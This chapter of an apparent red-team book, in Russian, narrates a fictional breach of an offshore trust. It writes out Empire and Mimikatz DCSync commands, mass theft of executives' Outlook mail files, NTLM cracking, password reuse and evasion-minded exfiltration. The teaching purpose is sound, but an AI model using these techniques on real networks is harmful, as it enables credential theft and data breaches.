Глава 14. Джекпот

Теперь у нас имеется доступ к учётной записи верхнего уровня администратора домена в виде admin.gloria. Настало время пожинать плоды секретов, которые G&S Trust скрывала от нас всё это время: личности своих уклоняющихся от уплаты налогов клиентов. Это конец партии, друзья.

Ищем точку опоры

Мы породили нового агента с повышенными правами на том же самом кипрском сервере, GS-CS-01, причём на это раз воспользовавшись учётной записью admin.gloria. Также мы устанавливаем ещё один исполняемый файл обратной оболочки, применяя ту же схему удержания, которую мы применяли в Главе 13 на то случай, если мы утратим доступ администратора к компьютеру Сары.

Наша сетевая среда по существу плоская, а потому, пользуясь учётной записью Глории, мы можем получать доступ к любой системе в любом из пяти географических мест с этого одного сервера. Мы возвращаемся к своим результатам Invoke-Share из Главы 13 и приступаем к просмотру вручную всех прочих совместных ресурсов, которые ранее были недоступны нам через учётную запись Сары, начинаем с HR:


Empire: NFRSE1T2) > shell dir \\GS-ML-02.gstrust.corp\HR

LastWriteTime         length Name
-------------         ------ ----
--snip--
3/11/2018 2:18:25 PM         Employees Worldwide
3/8/2018 5:41:47 PM          Bonuses
2/20/2018 10:32:49 PM        Legal HR documents
2/12/2018 10:32:49 PM        Reviews
--snip--
		

Мы получаем сведения о жирных бонусах партнёров, зарплатах персонала, отзывах о сотрудниках и прочих персональных данных, но в действительности мы пришли не за этим. Мы ищем всё, что способно привести нас к личностям клиентов. Мы просматриваем ещё пару совместных папок, поглощая все документы, которые только можем, от протоколов бюджетных совещаний до праздничных фотографий членов правления. Однако вскоре становится ясно, что единой папки с перечнем корпоративных клиентов и их непосредственных бенефициаров тут нет. Это бессмысленно. Даже теневые офшорные компании обязаны соблюдать типичные правила знай своего клиента (KYC, know-your-customer), скажем, запрашивать удостоверения личности и подтверждённые адреса. Данные обязаны быть где- то здесь, просто мы ещё не нашли их.

Давайте переключим передачу и ещё раз сосредоточимся на отдельных рабочих станциях, в особенности на рабочих станциях команды руководителей. Руководители пребывают в копиях всех важных переговоров и тратят 90% своего времени на неистовый набор электронных писем в своих iPhone и планшетах. Эти устройства, естественно, не входят в сферу действия Active Directory, но почти во всех системах на базе Windows копии электронных писем удобно хранятся в сервере Microsoft Exchange, а затем распространяются на рабочие станции пользователей Outlook сохраняет эти электронные письма локально в формате кэша, известном как файл OST (Offline Storage Table, Таблицы автономного хранилища). Следовательно, если у нас имеется доступ к рабочим станциям руководителей, мы способны с минимальными усилиями загружать их электронные письма.

[Замечание]Замечание

Хакер Dafthack выпустил инструмент с названием MailSniper, который выполняет выборку электронных писем непосредственно из сервера Exchange. Однако его применение сделало бы задачу слишком простой, поэтому мы пойдём своим путём.

Прежде всего нам требуется установить соответствие рабочих станций персоналу. Мы возвращаемся к своим результатам рекогносцировки компьютеров и наводим фокус на рабочие станции, выполняя выборку перечня всех имеющихся имён хостов:


root@C2Server:~# grep -Ei -B4 "operatingsystem\s+: Windows [7810]+" agent.log

cn: WL0912
operatingsystem               : Windows 10
--snip--
cn: WG0081
operatingsystem               : Windows 10
--snip--
		

То же самое мы можем выполнить, воспользовавшись модулем PowerView get_computer в сочетании с LDAP для исключения серверов:


(Empire: NFRSE1T2) > usemodule powershell/situational_awareness/network/powerview/get_computer
(Empire: get_computer) > set LDAPFilter (!(operatingsystem=*server*))
(Empire: get_computer) > execute
		

Мы сохраняем все названия рабочих станций в файле с названием list_workstations.txt, по которому мы итеративно проходим, выискивая открытые порты SMB (Server Message Block, блока серверных сообщений). SMB это классический протокол обмена файлами и выставления совместных сетевых ресурсов. Когда некая машина обладает своими выставленными портами SMB, авторизованные пользователи (обычно администраторы) способны удалённо просматривать их локальные диски, посещая их совместных двойников: например, C:, становится доступным через \workstation\c$.

Чьтобы узнать какая машина какому сотруднику назначена, мы просматриваем свой перечень рабочих станция, пытаясь получить наивный список каталогов C::\usersfolders. Список или массив в PowerShell обладают следующим форматом: @("Element1", "Element2", ...). Мы преобразовываем свой перечень рабочих станций в этот формат и запитываем им цикл foreach, который исполняет команду c:\users. Затем мы выполняем сопоставление своих результатов с имеющейся командой руководителей, перечисленных на вебсайте G&S Trust. Просто, но эффективно:


Empire: NFRSE1T2) > shell @("WL0912", "WG0081", [--snip--]) | foreach{write-output $_; dir $_\c$\users}"

WL0912
Mode         LastWriteTime        Length   Name
------       -------------        ------   ----
d-----       4/23/2020            1:29 PM  alice

WG0081
Mode         LastWriteTime        Length   Name
------       -------------        ------   ----
d-----       4/23/2020            3:25 PM  mike
--snip--
		


Empire: NFRSE1T2) > download \\WL0912.gstrust.corp\C$\Users\alice\AppData\Local\Microsoft\Outlook\alice@gs-trust.com
		

Мы снова применяем тривиальную сетевую архитектуру чтобы напрямую связаться с этими машинами со своего файлового сервера на Кипре и загрузить содержащие электронные письма файлы OST.

[Замечание]Вариант с недоступными рабочими станциями

У нас не всегда может иметься такая роскошь как тривиальная сетевая среда. Если бы эта компания приняла иную управляемую сетевой средой архитектуру, мы бы воспользовались более косвенных подходом, применяющим Контроллер домена. Давайте посмотрим как это будет выглядеть. Во- первых, чтобы связать пользователей с их компьютерами, мы просматривали журналы подключений. Приводимая ниже команда PowerShell анализирует формат журнала событий Windows для извлечения только успешных событий подключения - с идентификатором 4624 - из своего Контроллера домена, извлекает имена пользователей и компьютеры, а затем отсеивает фоновый шум, создаваемый учётными записями компьютеров (заканчивающимися на $), которые постоянно устанавливают и регистрируют соединения SYSTEM:


PS C:\> Get-WinEvent -LogName 'security' -computer localhost |
 Where-Object { $_.Id -eq 4624 } |
 Select-Object -Property timecreated, id, @{label='computer';expression={$_.properties[11].value}}, @{label='username';expression={$_.properties[5].value}} |
 Where-Object { $_.username -ne 'SYSTEM' -and !$_.username.EndsWith('$') -and $_.computer -ne '-'}

TimeCreated              Id computer       username
-----------              -- --------       --------
12/29/2020 5:00:03 PM  4624 WL0912         alice
12/29/2020 4:59:51 PM  4624 WG0081         mike
--snip--
		

Это снабжает нас перечнем пользователей и соответствующих им машин. Отсюда, чтобы получить доступ к кэшированным электронным письмам, у нас есть несколько вариантов. Например, одним из способов может быть применение модуля Empire new_gpo_immediate_task для создания параметра GPO, который будет создавать новую оболочку при следующей синхронизации компьютера с Контроллером домена. Этот трюк позволит избежать любого имеющегося сетевого разделения, потому как всем объектам в домене нужна возможность доступа к Контроллеру домена. Идём ли мы по прямому маршруту связи между сервером и рабочей станцией или по этому второму, более путанному маршруту, использующему GPO и Контроллер домена, результат один и тот же.

Как только мы получили доступ к рабочей станции Алисы, мы можем выгрузить её хранящиеся в Outlook в качестве файлов OST из C:\Users\alice\AppData\Local\Microsoft\Outlook электронные письма. Это всего лишь вопрос исполнения команды загрузки нашего агента Empire:


Empire: NFRSE1T2) > download \\WL0912.gstrust.corp\C$\Users\alice\AppData\Local\Microsoft\Outlook\alice@gs-trust.com
		

Мы выполняем промывку и повторяем те же самые шаги для электронных писем всех целевых руководителей: мы выявляем их рабочие станции, затем извлекаем имеющиеся файлы OST. Мы загружаем эти файлов OST в обыкновенного клиента Outlook и начинаем просматривать электронную почту выискивая любые интересные вложенные файлы или ссылки на системы хранения, как это показано на Рисунке 14.1.

Здесь находятся необработанные данные, хотя обработка таких гигабайтов данных - почтовых ящиков, вложений, файлов PDFs, Excel и .docx из совместных ресурсов - для подключения к этим точкам потребует серьёзной и трудоёмкой исследовательской работы. Это сложно, но это наилучший способ найти иголку посреди этого спутанного стога сена.

 

Рисунок 14.1


Поиск электронной почты на предмет присоединённых писем

Доступ к электронной почте руководителей поможет нам проникнуть сквозь последнюю стену тумана, окружающего G&S Trust. Изучив несколько сотен электронных писем, мы обнаруживаем несколько экземпляров ссылок, подобных показанной на Рисунке 14.2, которые раскрывают кое- что многообещающее: место хранения всех конфиденциальных документов, связанных с корпорациями - прослойками G&S Trust, в действительности представляющее виртуальную комнату данных, размещённых сторонним партнёром. Такой тип безопасного хранилища часто применяется юридическими командами во время сделок по слиянию и поглощению и прочих важных операций.

 

Рисунок 14.2


Ссылка на комнату с виртуальными данными

Такие получатели писем дают нам сведения, что по крайней мере Майк Росс и Харви Спектер обладают доступом к этой виртуальной комнате данных. Людям нравится повторно применять пароли на разных платформах, поэтому существует большая вероятность, что их пароли Windows предоставят нам доступ к этой комнате данных. Давайте начнём с этого, а затем, если необходимо, пройдёмся и по другим зацепкам.

Взламываем хранилище

Чтобы получить пароли Active Directory Майка и Харви, вместо того чтобы пользоваться учётной записью Глории для администратора с целью подключения к их компьютерам с последующим запуском Mimikatz, как мы это делали ранее, мы злоупотребим функциональной возможностью AD, носящей название репликации домена. Это процесс, при помощи которого Контроллеры домена выполняют синхронизацию своих соответствующих параметров чтобы они были способны поддерживать согласованную конфигурацию. Одним из таких видов параметров выступают хэши пользователей NT. Mimikatz обладает функциональной возможностью dsync, которая позволяет нам олицетворять некий Контроллер домена и применять данный протокол репликаций для запроса копий хэша домена для каждого пользователя. Каждый. Обособленный. Пользователь. Вот это сила. Мы можем вызывать dsync непосредственно из Empire при помощи приводимой далее команды, если у нас имеется учётная запись администратора домена, что мы и выполняем от имени


   admin.gloria:

Empire: NFRSE1T2) > usemodule credentials/mimikatz/dcsync Empire: dcsync) > set user harvey (Empire: dcsync) > set domain GSTRUST.CORP (Empire: dcsync) > run Hostname: ML-AD-01.GSTRUST.CORP / S-1-5-21-2376009117-2296651833-4279148973 .#####. mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59 .## ^ ##. "A La Vie, A L'Amour" ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 18 modules * * */ mimikatz(powershell) # lsadump::dcsync /user:harvey /domain:GSTRUST.CORP [DC] 'GSTRUST.CORP' will be the domain [DC] 'ML-AD-01.GSTRUST.CORP' will be the DC server [DC] harvey will be the user account ** SAM ACCOUNT ** SAM Username : harvey User Principal Name : harvey@GSTRUST.CORP --snip-- Credentials: Hash NTLM: 9A7D1A7FAAAF52DB5559E93CE72F1E42 --snip--

Мы пользуемся этим модулем и назначаем для начала пользователя Харви, а доменом обсуждавшийся нами в Главе 13 домен Active Directory GSTRUST.CORP. Это предоставляет нам некий хэш NT, который мы можем взломать воспользовавшись своей экипировкой для взлома из Главы 9. NTLM в 150 раз проще взламывать нежели алгоритм eType23 Kerberos, что означает, что мы можем достигать этого на 37 миллиардах хэшей в секунду в своём скромном экземпляре p2.8xlarge AWS.

Всего через несколько минут мы получаем пароль Харви для Windows: Armani0!. Мы взволнованно вводим этот пароль в странице входа в комнату данных и, о чудо, нас встречает показанная на Рисунке 14.3 папка.

 

Рисунок 14.3


Хранящая величайшие секреты комната виртуальных данных

[Замечание]Замечание

Если бы по какой бы то ни было из причин данный метод не сработал бы, мы бы могли воспользоваться множеством прочих способов: Мы бы могли установить в компьютере Харви keylogger, получить его сохранённые пароли Firefox, извлечь его сохранённые учётные данные из сейфа (vault) Windows, или исследовать личные документы на его рабочем месте. Когда мы превращаемся в администратора домена, почти никакие учётные записи не удержатся, как листья холодной ноябрьской ночью.

В яблочко! Наконец, после стольких недель борьбы мы отыскиваем Святой грааль, красиво разложенный по сотням вложенных папок, причём каждая из них содержит идентификаторы паспортов, сертификаты акций, дивиденды, права собственности и тому подобное.

Просто щёлкнув по этому дереву каталогов в папке Malta, мы натыкаемся на компанию, назовём её X, которая приобрела три объекта недвижимости в Лондоне, десять апартаментов в Париже и яхту! Некоторые доказательства мы можем наблюдать в заметках заседания совета директоров на Рисунке 14.4.

 

Рисунок 14.4


Замечания о собрании совета, подтверждающего приобретение недвижимости

И это не какая- то компания по продаже недвижимости, которая сдаёт квартиры в разных местах, это компания, целиком состоящая из одного директора, единственной целью которого является подписание повседневных юридических операций: ведения банковского счёта, выплаты дивидендов, проведения операций и тому подобного, что мы наблюдаем на Рисунке 14.5.

 

Рисунок 14.5


Назначение единственного директора этой компании

Естественно, эта шарада устроена не совсем в угоду этому директору, они лишь подставные лица данного шоу. Акционером данной компании является ещё одна корпорация, зарегистрированная в другом офисе G&S Trust. Мы просматриваем соответствующую папку и находим, что бенефициаром этой посреднической организации выступает очень известная общественная фигура (Рисунок 14.6).

 

Рисунок 14.6


Адресованный G&S Trust документ, подтверждающий бенефициарного владельца компании

Мы видим, что этот человек приобрёл акций данной прокладочной компании на сотни тысяч фунтов стерлингов, а она, в конечном счёте, владеет компанией с реальными активами (Рисунок 14.7).

 

Рисунок 14.7


Документ перевода

Это захватывающе. Мы направляем полученные документы через серверы и рабочие станции G&S Trust во избежание каких бы то ни было оповещений. Сторонняя организация, размещающая комнату данных, должна привыкнуть к тому, что IP адреса G&S Trust загружают файлы такого рода.

Теперь осталось лишь загрузить эти многие терабайты данных в наши серверы, просеять всё это в поисках дополнительных имён и компаний и передать эти сведения Международному консорциуму журналистов- расследователей (ICIJ, International Consortium of Investigative Journalists) ... или повысить ставку.

Заключительные соображения

Основная цель данной книги, которая, я надеюсь, чётко изложена на данных страницах, состоит в том, чтобы научить вас вырабатывать интуитивную привычку задавать вопросы не только о том какие механизмы защиты установлены в конкретной системе, но и о том, какие сторожевые системы обнаружения применяются на практике. Какие события отслеживаются? Как они контролируются? Способна ли данная компания выявлять несоответствия в имеющемся сетевом обмене? Как насчёт системной активности? Надеюсь, вы будете задавать такие вопросы и в будущем.

Эти параметры снабдят вас надёжными подсказками о том, насколько слышимыми вы можете быть в целевой сетевой среде. Затем вы можете принять решение какие методы и инструменты применять. В конце концов, утечка данных или получение доступа к учётным записям администраторов домена - это не окончательная победа, если через неделю вас обнаружат за то, что вы в прямом смысле запустили массовое выполнение Mimikatz в памяти на 150 серверах.

В данной книге я в основном сосредоточился на продуктах Microsoft (ATA и MDE), потому как я действительно ценю вложенные в них усилия и соображения - в отличие от многих прочих поставщиков, они не наполнены дерьмом. В реальной жизни вы сможете столкнуться, как минимум, с дюжиной прочих инструментов следующего поколения, но я надеюсь, что достаточно поделился соображениями, которые, дабы избежать обнаружения, вы можете испробовать, раз подозреваете что такие инструменты работают в сетевой среде компании.

Как всегда, получайте удовольствие, овладевая всем миром! (Конечно, законно.)